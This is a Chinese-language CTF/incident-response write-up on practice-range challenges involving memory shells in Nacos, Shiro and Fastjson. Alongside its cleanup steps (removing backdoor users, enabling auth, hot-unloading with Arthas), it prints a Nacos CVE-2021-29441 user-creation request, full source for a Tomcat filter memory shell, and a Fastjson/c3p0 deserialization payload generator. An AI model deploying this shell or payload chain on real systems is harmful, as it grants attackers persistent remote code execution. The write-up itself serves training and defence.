此文章原创作者为源鲁安全实验室,转载请注明出处!此文章中所涉及的技术、思路和工具仅供网络安全学习为目的,不得以盈利为目的或非法利用,否则后果自行承担!
00
前言
前几天得到了玄机应急响应靶场的邀请码,刷了几个题目,偏ctf类型,本篇将分享三道玄机靶场第八章中内存马分析题目(nacos/shiro/fastjson)的解题思路。
01
内存分析-java01-nacos
1.1
问题1
nacos 用户密码的密文值作为flag提交 flag{密文}
根据题目描述,连接ssh后需在/var/local下运行autorun.sh以启动nacos服务。在/var/local目录下存在nacos目录,在nacos/conf/目录下发现nacos-mysql.sql,从中发现了加密的nacos密码$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu。
1.2
问题2
shiro的key为多少shiro的key请记录下来 (备注请记录下,可能有用)
在nacos目录下存在一个nacos_config_xxx的zip文件,下载到本地后解压后DEFAULT_GROUP文件下存在三个文件 ADMIN_API、ADMIN_CONFIG、GATEWAY。在ADMIN_CONFIG中发现shiro配置,其中key为 KduO0i+zUIMcNNJnsZwU9Q==。
1.3
问题3
靶机内核版本为 flag{}
1.4
问题4
尝试应急分析,运行get_flag然后尝试 check_flag通过后提交flag
看样子应该就是getflag检查是否应急成功了,check_flag来检查flag是否正确。
先查看/etc/passwd:
有两个uid为0的用户,这种基本上就是后门用户了。Userdel bt删除该用户之后查看计划任务文件,删除rm -rf这一行:
最后运行get_flag,check_flag:
1.5
问题5
尝试修复nacos并且自行用poc测试是否成功
通过扫描器进行扫描发现nacos2个漏洞,分别为nacos弱口令和未授权访问绕过漏洞。登录后台后发现nacos版本为2.0.1,该版本下存在较多漏洞需要进行修复【在实际打exp时只成功了以下几个漏洞】
-
nacos默认口令
2.未授权API
http://x.x.x.x:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
4.认证绕过/用户创建 CVE-2021-29441
尝试以 POST 方式创建新用户whoami
POST /v1/auth/users HTTP/1.1 username=whoami&password=whoami
修复方案:
-
默认口令可通过修改密码解决
2.开启鉴权
修改 Nacos 的 application.properties 配置文件,开启服务身份识别功能,配置后访问 /nacos/v1/auth/users/?pageNo=1&pageSize=9 路由将返回 403 Forbidden。
# 开启鉴权
nacos.core.auth.enabled=true
nacos.core.auth.enable.userAgentAuthWhite=false
nacos.core.auth.server.identity.key=YOUR-KEY
nacos.core.auth.server.identity.value=YOUR-VALUE
3.对外限制开放7848端口
修复后实际效果如下,存在该版本nacos下漏洞得到有效缓解:
02
内存分析-java02-shiro
2.1
问题1
将shiro的key作为flag提交
根据从前文中nacos中获取到shiro key 也可通过工具爆破得到key
2.2
问题2
隐藏用户后删除,并将隐藏用户名作为flag提交
发现隐藏账号 guest,故得到flag{guest}
2.3
问题3
分析app.jar文件是否存在后门,并把后门路由名称作为 flag 提交 <flag{/manager}>
2.4
问题4
分析app.jar文件,将后门的密码作为flag提交
参数cmd为后门密码
03
内存分析-java03-fastjson
3.1
问题1
将fastjson版本作为flag提交
根剧题目描述 需自己手打一遍,扫描端口后发现8088端口开放 访问web页面
{
"@type": "java.lang.AutoCloseable"
3.2
问题2
内核版本为flag提交flag{x.x.x.x}
package vultarget;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;
public class IFRain extends AbstractTranslet implements Filter {
private final String pa = "3ad2fddfe8bad8e6";
public IFRain() {
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
HttpSession session = request.getSession();
Map<String, Object> pageContext = new HashMap<>();
pageContext.put("session", session);
pageContext.put("request", request);
pageContext.put("response", response);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
if (request.getMethod().equals("POST")) {
Class<?> Lclass;
if (cl.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else if (cl.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
} else {
Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
this.RushThere(Lclass, cl, session, request, pageContext);
}
filterChain.doFilter(servletRequest, servletResponse);
}
}
public void destroy() {
}
public void RushThere(Class<?> Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map<String, Object> pageContext) {
byte[] bytecode = Base64.getDecoder().decode(
"yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT"
);
try {
Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
define.setAccessible(true);
Class<?> uclass = null;
try {
uclass = cl.loadClass("U");
} catch (ClassNotFoundException e) {
uclass = (Class<?>) define.invoke(cl, bytecode, 0, bytecode.length);
}
Constructor<?> constructor = uclass.getDeclaredConstructor(ClassLoader.class);
constructor.setAccessible(true);
Object u = constructor.newInstance(this.getClass().getClassLoader());
Method Um = uclass.getDeclaredMethod("g", byte[].class);
Um.setAccessible(true);
String k = "3ad2fddfe8bad8e6";
session.setAttribute("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(Cipher.DECRYPT_MODE, new SecretKeySpec(k.getBytes(), "AES"));
byte[] eClassBytes = c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class<?> eclass = (Class<?>) Um.invoke(u, eClassBytes);
Object a = eclass.newInstance();
Method b = eclass.getDeclaredMethod("equals", Object.class);
b.setAccessible(true);
b.invoke(a, pageContext);
} catch (Exception e) {
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
try {
String name = "AutomneGreet";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map<String, ApplicationFilterConfig> filterConfigs = (Map<String, ApplicationFilterConfig>) Configs.get(standardContext);
if (filterConfigs.get(name) == null) {
Filter filter = new IFRain();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/shell");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor<ApplicationFilterConfig> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
package util;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import vultarget.IFRain;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class endPayload {
public static void main(String[] args) throws Exception {
String hex2 = bytesToHex(tobyteArray(gen()));
String resultPayload = "{n" +
" "a":{n" +
" "\u0040\u0074\u0079\u0070\u0065":"java.lang.Class",n" +
" "val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"n" +
" },n" +
" "b":{n" +
" "\u0040\u0074\u0079\u0070\u0065":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",n" +
" "\u0075\u0073\u0065\u0072\u004F\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006E\u0067":"HexAsciiSerializedMap:" + hex2 + ";",n" +
" }n" +
"}n";
System.out.println(resultPayload);
}
public static byte[] getClassBytecode(Class<?> clazz) throws Exception {
String className = clazz.getName().replace('.', '/') + ".class";
InputStream inputStream = clazz.getClassLoader().getResourceAsStream(className);
if (inputStream == null) {
throw new ClassNotFoundException("Class not found: " + className);
}
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int data = inputStream.read();
while (data != -1) {
byteArrayOutputStream.write(data);
data = inputStream.read();
}
inputStream.close();
return byteArrayOutputStream.toByteArray();
}
// FastJson原生反序列化加载恶意类字节码
public static Object gen() throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
byte[] bytecode = getClassBytecode(IFRain.class);
setValue(templates, "_bytecodes", new byte[][]{bytecode});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd, "val", jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates, bd);
return hashMap;
}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
// 将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
// 字节数组转十六进制
public static String bytesToHex(byte[] bytes) {
StringBuffer stringBuffer = new StringBuffer();
for (int i = 0; i < bytes.length; i++) {
String hex = Integer.toHexString(bytes[i] & 0xff);
if (hex.length() < 2) {
stringBuffer.append("0" + hex); // 0-9 则在前面加 '0' ,保证2位避免后面读取错误
} else {
stringBuffer.append(hex);
}
}
return stringBuffer.toString();
}
}
运行之后获取payload,通过POST请求发送给服务端,服务端反序列化生成内存马,之后使用冰蝎连接即可。内存马路径为/shell,密码为goautomne,密钥为默认密钥(key)。
查看一下当前用户:
并且ssh是打开的:
既然这样,直接改密码然后ssh登录了。
3.3
问题3
清除内存马(热清理)
ssh登录,ls一下看到当前目录下就有arthas,看来作者是让用arthas来清除内存马了。
之后使用classloader --classloader <hash>
来直接卸载该类加载器,也就卸载了该类加载器加载的类。
【注:这种方法会卸载该类加载器加载的所有类,容易造成应用不稳定甚至崩溃,不建议使用】
方法二:通过热加载重新加载同名的类,arthas就提供了retransform来加载外部的class文件。
看一下,当前的内存马还是可以用的:
之后将上面jad反编译出来的代码保存,删除所有函数体,仅保留方法声明、字段Field声明:
package vultarget;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.util.Map;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
public class IFRain extends AbstractTranslet implements Filter {
private final String pa = "3ad2fddfe8bad8e6";
public IFRain() {
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
}
public void destroy() {
}
public void RushThere(Class<?> Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map<String, Object> pageContext) {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
}
}
这样,该过滤器就是无害的了。
之后编译生成该类的字节码,在arthas中执行:
【/root/vultarget/IFRain.class为重新编译过的无害的过滤器】
即可热加载该类。【由于arthas热加载的限制,不能增加/减少字段、方法等,因此需要保留类的框架】
再用jad查看一下该类,发现已经是经过无害化处理后的filter了:
热加载后,再用冰蝎连一下,发现连接失败了:
3.4
问题4
清除后门(热清理)
先排查了/etc/passwd文件、定时任务、开机启动项,没找到后门
之后ps -aux 看一下进程:
这里的 python -c import pty; pty.spawn("/bin/bash")
就是冰蝎自带的虚拟终端了:
这里直接把对应的进程杀掉:
当然,这只是治标不治本的,如果需要修复,还需要升级fastjson的版本。
05
文末福利
前十位读者关注公众号后,私聊后台凭截图可领取玄机应急响应靶场的邀请码哦~
数量有限,先到先得!
END
1
来都来了,点个赞再走吧~~~
原文始发于微信公众号(源鲁安全实验室):玄机应急响应靶场 - 内存马分析WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论